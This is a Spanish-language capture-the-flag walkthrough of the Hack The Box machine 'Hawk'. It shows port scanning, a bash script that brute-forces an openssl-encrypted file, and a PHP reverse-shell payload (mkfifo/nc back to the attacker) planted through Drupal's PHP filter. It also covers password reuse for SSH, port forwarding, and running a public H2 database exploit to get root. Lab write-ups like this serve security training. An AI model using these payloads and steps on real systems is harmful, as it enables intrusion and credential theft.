Post

Hack The Box Hawk

Hawk

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.102.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.102
PING 10.10.10.102 (10.10.10.102) 56(84) bytes of data.
64 bytes from 10.10.10.102: icmp_seq=1 ttl=63 time=140 ms

--- 10.10.10.102 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 139.690/139.690/139.690/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ nmap -p- --open -T5 -v -n 10.10.10.102 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-16 22:18 CDT
Initiating Ping Scan at 22:18
Scanning 10.10.10.102 [4 ports]
Completed Ping Scan at 22:18, 0.14s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:18
Scanning 10.10.10.102 [65535 ports]
Discovered open port 22/tcp on 10.10.10.102
Discovered open port 80/tcp on 10.10.10.102
Discovered open port 21/tcp on 10.10.10.102
Discovered open port 8082/tcp on 10.10.10.102
Discovered open port 5435/tcp on 10.10.10.102
Discovered open port 9092/tcp on 10.10.10.102
Completed SYN Stealth Scan at 22:19, 47.26s elapsed (65535 total ports)
Nmap scan report for 10.10.10.102
Host is up (0.14s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
5435/tcp open  sceanics
8082/tcp open  blackice-alerts
9092/tcp open  XmlIpcRegSvc

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 47.81 seconds
           Raw packets sent: 81246 (3.575MB) | Rcvd: 78865 (3.155MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.102
   5   │     [*] Open ports: 21,22,80,5435,8082,9092
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
❯ nmap -sC -sV -p21,22,80,5435,8082,9092 10.10.10.102 -oN targeted                                                               
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-16 22:20 CDT                                                                  
Nmap scan report for 10.10.10.102                                                                                                
Host is up (0.14s latency).                                                                                                      
                                                                                                                                 
PORT     STATE SERVICE       VERSION                                                                                             
21/tcp   open  ftp           vsftpd 3.0.3                                                                                        
| ftp-syst:                                                                                                                      
|   STAT:                                                                                                                        
| FTP server status:                                                                                                             
|      Connected to ::ffff:10.10.14.2                                                                                            
|      Logged in as ftp                                                                                                          
|      TYPE: ASCII                                                                                                               
|      No session bandwidth limit                                                                                                
|      Session timeout in seconds is 300                                                                                         
|      Control connection is plain text                                                                                          
|      Data connections will be plain text                                                                                       
|      At session startup, client count was 1                                                                                    
|      vsFTPd 3.0.3 - secure, fast, stable                                                                                       
|_End of status                                                                                                                  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                           
|_drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 messages                                                               
22/tcp   open  ssh           OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                                                 
| ssh-hostkey:                                                                                                                   
|   2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)                                                                   
|   256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)                                                                  
|_  256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)         
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))                                                                      
|_http-generator: Drupal 7 (http://drupal.org)
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))                                                                      
|_http-generator: Drupal 7 (http://drupal.org)                                                                                   
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103                                                                         
| http-robots.txt: 36 disallowed entries (15 shown)                                                                              
| /includes/ /misc/ /modules/ /profiles/ /scripts/                                                                               
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.29 (Ubuntu)
5435/tcp open  tcpwrapped
8082/tcp open  http          H2 database http console
|_http-title: H2 Console
9092/tcp open  XmlIpcRegSvc?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https:
//nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.92%I=7%D=9/16%Time=61440966%P=x86_64-pc-linux-gnu%r(NU
SF:LL,45E,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\
SF:0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i
SF:\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0
SF:l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o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\0h\
SF:x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\
SF:0g\0e\0t\0J\0d\0b\0c\0S\0Q\0L\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\(\0D\0b\0E\0
SF:x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x003\x004\x005\0\)\0\n\0\t\0a
SF:\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x
SF:\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n
SF:\0\.\0j\0a\0v\0a\0:\x001\x007\x009\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.
SF:\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\
SF:0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x0
SF:01\x005\x005\0\)\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\
SF:0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b
SF:\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x001\x004\x004\0\)\0\n\0
SF:\t\0a\0t\0\x20\0o\0r");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.66 seconds

Vamos a empezar con el análisis, primeramente por el puerto 21 asociado al servicio FTP, por lo que intentamos conectarnos como el usuario anonymous:

1
2
3
4
5
6
7
8
❯ ftp 10.10.10.102
Connected to 10.10.10.102.
220 (vsFTPd 3.0.3)
Name (10.10.10.102:k4miyo): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Una vez conectados, vemos un directorio denominado messages, ingresamos a este y vemos que “no tiene contenido”; sin embargo, ocupamos el comando ls -la para listar posibles archivos ocultos:

1
2
3
4
5
6
7
8
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 .
drwxr-xr-x    3 ftp      ftp          4096 Jun 16  2018 ..
-rw-r--r--    1 ftp      ftp           240 Jun 16  2018 .drupal.txt.enc
226 Directory send OK.
ftp>

Vemos el recurso .drupal.txt.enc, por lo que lo traemos a nuestro equipo.

1
2
3
4
5
6
7
ftp> get .drupal.txt.enc
local: .drupal.txt.enc remote: .drupal.txt.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
226 Transfer complete.
240 bytes received in 0.00 secs (3.3659 MB/s)
ftp>

Una vez en nuestro equipo, le echamos un ojo al contenido del archivo:

1
2
3
4
5
6
7
8
cat drupal.txt.enc
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: drupal.txt.enc
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
   2   │ CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
   3   │ QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
   4   │ t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=

Vemos que se encuentra en base64, por lo que lo decodificamos y lo guardamos a un archivo:

1
2
3
4
5
6
cat drupal.txt.enc | tr -d "\n" | base64 -d > message.crypted
❯ cat message.crypted
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: message.crypted   <BINARY>
❯ file message.crypted
message.crypted: openssl enc'd data with salted password

Al tratar de visualizar nuestro archivos, vemos que la información se encuentra cifrada, por lo que procedemos a realizar un script para descifrar el archivo a partir del direccionario rockyou.txt (/usr/share/wordlist/rockyou.txt) y la función openssl. Para este caso, se buscó la frase openssl enc’d data with salted password y se obtuvo como resultado el siguiente link, por lo que vamos a suponer el uso de ` aes-256-cbc`:

newbedev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
#encoding: utf-8

# Ctrl + c
function ctrl_c(){
	echo -e "\n[!] Saliendo..."
	exit 1
}

trap ctrl_c INT

if [ $# -ne 2 ]; then
	echo -e "\n[*] Uso:"
	echo -e "\n$0 <message.encrypted> <message.decrypted>"
	exit 1
fi

while read password; do
	openssl aes-256-cbc -d -in $1 -out $2 -k $password 2>/dev/null
	if [ $(echo $?) == "0" ];then
		echo -e "\n[*] La contraseña es: $password" && cat $2
		break
	fi
done < /usr/share/wordlists/rockyou.txt

Al darle permisos de ejecución al archivo chmod +x decrypter.sh y ejecutarlo, obtenemos el siguiente resultado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ ./decrypter.sh message.crypted message.decrypted

[*] La contraseña es: friends
Daniel,

Following the password for the portal:

PencilKeyboardScanner123

Please let us know when the portal is ready.

Kind Regards,

IT department

En el mensaje observamos un mensaje para el usuario Daniel en donde se le comparte la contraseña del portal; por lo tanto ingresamos a través del protocolo HTTP y utilizamos la credenciales admin:PencilKeyboardScanner123:

  • http://10.10.10.102/

""

""

Una vez dentro del panel de administración de la tecnología Drupal 7, accedemos al apartados de Modules en la parte superior y habilitamos la opción PHP filter. Por útlimo guardamos los cambios.

""

Ahora le damos click al icono de Home en la parte superior y seleccionamos al opción Add new content, seleccionamos Article y llenamos los siguientes campos:

  • Title: Reverse shell
  • Tags: k4mishell
  • Body:
    1
    2
    3
    
    <?php
      system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f")
    ?>
    
  • Text format: PHP code

Nos ponemos en escucha a través del puerto 443 y guardamos los cambios.

1
2
3
4
5
6
7
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.102] 41610
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

Realizamos un Tratamiento de la tty y observamos que nos escontramos dentro de la máquina víctima como el usuario www-data; ahora podemos visualizar la flag (user.txt). Para escalar privilegios, debemos tener en cuenta que se encuentra abierto el puerto 8082 asociado al servicio H2 Console.

""

Primeramente, validamos si el puerto 8082 está corriendo dentro de la máquina:

1
2
3
4
www-data@hawk:/$ netstat -nat | grep 8082
tcp6       0      0 :::8082                 :::*                    LISTEN     
tcp6       0      0 10.10.10.102:8082       10.10.14.2:55896        ESTABLISHED
www-data@hawk:/$ 

Ahora, mediante curl probaremos si podemos visualizar contenido diferente que al que observamos vía web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@hawk:/$ curl http://localhost:8082
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--
Copyright 2004-2014 H2 Group. Multiple-Licensed under the MPL 2.0,
and the EPL 1.0 (http://h2database.com/html/license.html).
Initial Developer: H2 Group
-->
<html><head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <title>H2 Console</title>
    <link rel="stylesheet" type="text/css" href="stylesheet.css" />
<script type="text/javascript">
location.href = 'login.jsp?jsessionid=a44a652e203c2092aa2e956117ab47a7';
</script>
</head>
<body style="margin: 20px;">

<h1>Welcome to H2</h1>
<h2>No Javascript</h2>
If you are not automatically redirected to the login page, then
Javascript is currently disabled or your browser does not support Javascript.
For this application to work, Javascript is essential.
Please enable Javascript now, or use another web browser that supports it.

</body></html>
www-data@hawk:/$

Como podemos observar, el contenido es diferente, por lo que debemos estar pensando en hacer un Remote/Local Port Forwarding. Para este caso utilizaremos un Local Port Forwarding porque debido a unas políticas de la plataforma, no te permite realizar Remote Port Forwarding. Podemos consultar información información en la siguiente liga:

booleanworld

Para realizar el Local Port Forwarding necesitamos credenciales válidas de acceso por el puerto ssh, por lo que sabemos que un usuario potencia es daniel, ahora tenemos que encontrar la contraseña de dicho usuario. Investigando un poco, encontramos el recurso /var/www/html/sites/default/settings.php y se observan unas posibles credenciales de acceso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@hawk:/var/www/html/sites/default$ cat settings.php | grep -i -E "username|password"
 *   'username' => 'username',
 *   'password' => 'password',
 * username, password, host, and database name.
 *   'username' => 'username',
 *   'password' => 'password',
 *   'username' => 'username',
 *   'password' => 'password',
 *     'username' => 'username',
 *     'password' => 'password',
 *     'username' => 'username',
 *     'password' => 'password',
      'username' => 'drupal',
      'password' => 'drupal4hawk',
 * by using the username and password variables. The proxy_user_agent variable
# $conf['proxy_username'] = '';
# $conf['proxy_password'] = '';
www-data@hawk:/var/www/html/sites/default$

Ahora probaremos las credenciales “daniel:drupal4hawk” en el servicio ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ ssh daniel@10.10.10.102
daniel@10.10.10.102's password: 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Sep 17 06:14:20 UTC 2021

  System load:  0.0               Processes:           173
  Usage of /:   47.5% of 7.32GB   Users logged in:     0
  Memory usage: 58%               IP address for eth0: 10.10.10.102
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

417 packages can be updated.
268 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Sep 17 06:02:50 2021 from 10.10.14.2
Python 3.6.5 (default, Apr  1 2018, 05:46:30) 
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> import os
>>> os.system("/bin/bash")
daniel@hawk:~$ whoami
daniel
daniel@hawk:~$

Contamos con credenciales válidas de acceso por ssh; ahora en nuestra máquina de atacante, procedemos a realizar un Local Port Forwarding:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ ssh -L 4646:127.0.0.1:8082 daniel@10.10.10.102
daniel@10.10.10.102's password: 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Sep 17 06:20:25 UTC 2021

  System load:  0.01              Processes:           173
  Usage of /:   47.5% of 7.32GB   Users logged in:     0
  Memory usage: 58%               IP address for eth0: 10.10.10.102
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

417 packages can be updated.
268 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Sep 17 06:14:21 2021 from 10.10.14.2
Python 3.6.5 (default, Apr  1 2018, 05:46:30) 
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

Vemos el puerto 4646 abierto en nuestra máquina:

1
2
3
❯ lsof -i | grep 4646
ssh       332076   root    4u  IPv6 790371      0t0  TCP localhost:4646 (LISTEN)
ssh       332076   root    5u  IPv4 790372      0t0  TCP localhost:4646 (LISTEN)

Y ahora si ingresamos a la siguiente dirección URL, podemos ver el panel de administración de H2 Console:

  • http://127.0.0.1:4646/

""

Dentro de este panel, modifcamos el siguiente valor y la damos en Conectar:

  • URL JDBC: jdbc:h2:~/k4mishell

![[hawk_k4mishell.jpg]]

Vemos que se usa la versión H2 1.4.196, por lo que procedemos a buscar un posible exploit:

1
2
3
4
5
6
7
8
❯ searchsploit H2 1.4.196
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
H2 Database 1.4.196 - Remote Code Execution                                                    | java/webapps/45506.py
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Vemos un posible exploit a utilizar hecho en python, por lo que lo descargar y procedemos a ejecutarlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ searchsploit -m java/webapps/45506.py
  Exploit: H2 Database 1.4.196 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/45506
     Path: /usr/share/exploitdb/exploits/java/webapps/45506.py
File Type: Python script, UTF-8 Unicode text executable, with CRLF line terminators

Copied to: /home/k4miyo/Documentos/HTB/Hawk/exploits/45506.py


❯ mv 45506.py h2_console.py
❯ python3 h2_console.py
usage: h2_console.py [-h] -H 127.0.0.1:8082 [-d jdbc:h2:~/emptydb-N5s2o]
h2_console.py: error: the following arguments are required: -H/--host

Para su ejecución tenemos que indicarle el host y el valor jdbc:

1
2
3
4
5
6
7
8
9
❯ python3 h2_console.py -H 127.0.0.1:4646 -d jdbc:h2:~/k4mi
[*] Attempting to create database
[+] Created database and logged in
[*] Sending stage 1
[+] Shell succeeded - ^c or quit to exit
h2-shell$ whoami
root

h2-shell$

A este punto ya somos el usuario root y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.